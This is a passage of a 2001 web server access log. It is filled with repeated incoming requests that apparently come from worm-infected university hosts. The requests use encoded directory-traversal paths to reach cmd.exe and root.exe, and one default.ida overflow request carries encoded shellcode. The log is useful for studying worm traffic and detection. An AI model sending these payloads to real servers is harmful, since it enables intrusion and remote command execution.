/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:56:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:56:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:56:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:56:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:56:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:56:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:56:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:56:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:56:46: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 13:57:09: ecom.gsb.columbia.edu [128.59.205.95] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 13:57:09: ecom.gsb.columbia.edu [128.59.205.95] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:57:09: ecom.gsb.columbia.edu [128.59.205.95] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:57:09: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:57:09: ecom.gsb.columbia.edu [128.59.205.95] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:57:09: ecom.gsb.columbia.edu [128.59.205.95] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:57:09: ecom.gsb.columbia.edu [128.59.205.95] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:57:09: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:57:09: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:57:10: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:57:10: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:57:10: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:57:10: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:57:10: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:57:11: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:57:11: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 13:57:46: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 13:57:46: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:57:46: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:57:46: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:57:46: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:57:46: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:57:46: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:57:46: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:57:46: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:57:47: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:57:48: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:57:49: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:57:49: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:57:49: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:57:50: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:57:50: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 13:59:31: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 13:59:31: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:59:31: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:59:31: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:59:31: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:59:32: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:59:32: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:59:32: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:59:32: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:59:32: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:59:32: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:59:32: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:59:32: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:59:32: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:59:32: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:59:32: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 14:02:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 14:02:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:02:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:02:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:02:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:02:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:02:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:02:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:02:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:02:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:02:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:02:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:02:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:02:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:02:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:02:44: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 14:03:12: wdby84-41.Colorado.EDU [128.138.84.41] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 14:04:37: wdby84-41.Colorado.EDU [128.138.84.41] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 14:04:37: wdby84-41.Colorado.EDU [128.138.84.41] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:04:37: wdby84-41.Colorado.EDU [128.138.84.41] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:04:37: wdby84-41.Colorado.EDU [128.138.84.41] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:04:38: wdby84-41.Colorado.EDU [128.138.84.41] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:04:38: wdby84-41.Colorado.EDU [128.138.84.41] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:04:38: wdby84-41.Colorado.EDU [128.138.84.41] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:04:38: wdby84-41.Colorado.EDU [128.138.84.41] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:04:38: wdby84-41.Colorado.EDU [128.138.84.41] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:04:38: wdby84-41.Colorado.EDU [128.138.84.41] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:04:39: wdby84-41.Colorado.EDU [128.138.84.41] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:04:39: wdby84-41.Colorado.EDU [128.138.84.41] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:04:39: wdby84-41.Colorado.EDU [128.138.84.41] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:04:39: wdby84-41.Colorado.EDU [128.138.84.41] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:04:39: wdby84-41.Colorado.EDU [128.138.84.41] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:04:39: intradoc.law.utoronto.ca [128.100.167.60] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 14:04:51: intradoc.law.utoronto.ca [128.100.167.60] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 14:04:51: intradoc.law.utoronto.ca [128.100.167.60] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:04:52: intradoc.law.utoronto.ca [128.100.167.60] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:04:52: intradoc.law.utoronto.ca [128.100.167.60] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:04:52: intradoc.law.utoronto.ca [128.100.167.60] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:04:52: intradoc.law.utoronto.ca [128.100.167.60] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:04:52: intradoc.law.utoronto.ca [128.100.167.60] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:04:52: intradoc.law.utoronto.ca [128.100.167.60] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:04:53: intradoc.law.utoronto.ca [128.100.167.60] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:04:53: intradoc.law.utoronto.ca [128.100.167.60] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:04:53: intradoc.law.utoronto.ca [128.100.167.60] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:04:53: intradoc.law.utoronto.ca [128.100.167.60] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:04:54: intradoc.law.utoronto.ca [128.100.167.60] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:04:54: intradoc.law.utoronto.ca [128.100.167.60] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:04:54: intradoc.law.utoronto.ca [128.100.167.60] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:04:54: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 14:06:10: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 14:06:10: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:06:10: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:06:10: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:06:10: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:06:10: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:06:10: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:06:11: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:06:11: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:06:11: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:06:11: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:06:11: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:06:11: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:06:11: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:06:11: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:06:11: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 14:10:00: dhcp0.cs.columbia.edu [128.59.19.200] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 14:10:00: dhcp0.cs.columbia.edu [128.59.19.200] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:10:00: dhcp0.cs.columbia.edu [128.59.19.200] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:10:00: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:10:00: dhcp0.cs.columbia.edu [128.59.19.200] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:10:00: dhcp0.cs.columbia.edu [128.59.19.200] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:10:00: dhcp0.cs.columbia.edu [128.59.19.200] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:10:00: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:10:00: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:10:00: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:10:00: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:10:00: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:10:00: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:10:00: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:10:00: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:10:00: aleone.ssb.rochester.edu [128.151.246.149] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 14:11:05: aleone.ssb.rochester.edu [128.151.246.149] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 14:11:05: aleone.ssb.rochester.edu [128.151.246.149] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:11:06: aleone.ssb.rochester.edu [128.151.246.149] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:11:06: aleone.ssb.rochester.edu [128.151.246.149] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:11:06: aleone.ssb.rochester.edu [128.151.246.149] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:11:06: aleone.ssb.rochester.edu [128.151.246.149] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:11:06: aleone.ssb.rochester.edu [128.151.246.149] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:11:06: aleone.ssb.rochester.edu [128.151.246.149] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:11:06: aleone.ssb.rochester.edu [128.151.246.149] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:11:06: aleone.ssb.rochester.edu [128.151.246.149] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:11:07: aleone.ssb.rochester.edu [128.151.246.149] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:11:07: aleone.ssb.rochester.edu [128.151.246.149] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:11:07: aleone.ssb.rochester.edu [128.151.246.149] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:11:07: aleone.ssb.rochester.edu [128.151.246.149] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:11:07: aleone.ssb.rochester.edu [128.151.246.149] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:11:07: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 14:12:02: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 14:12:02: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:12:02: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:12:02: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:12:02: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:12:02: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:12:02: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:12:02: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:12:02: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:12:02: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:12:02: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:12:02: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:12:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:12:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:12:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:12:04: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 14:15:27: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 14:15:28: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:15:28: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:15:28: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:15:28: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:15:28: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:15:28: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:15:28: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:15:28: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:15:28: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:15:28: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:15:28: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:15:28: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:15:28: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET 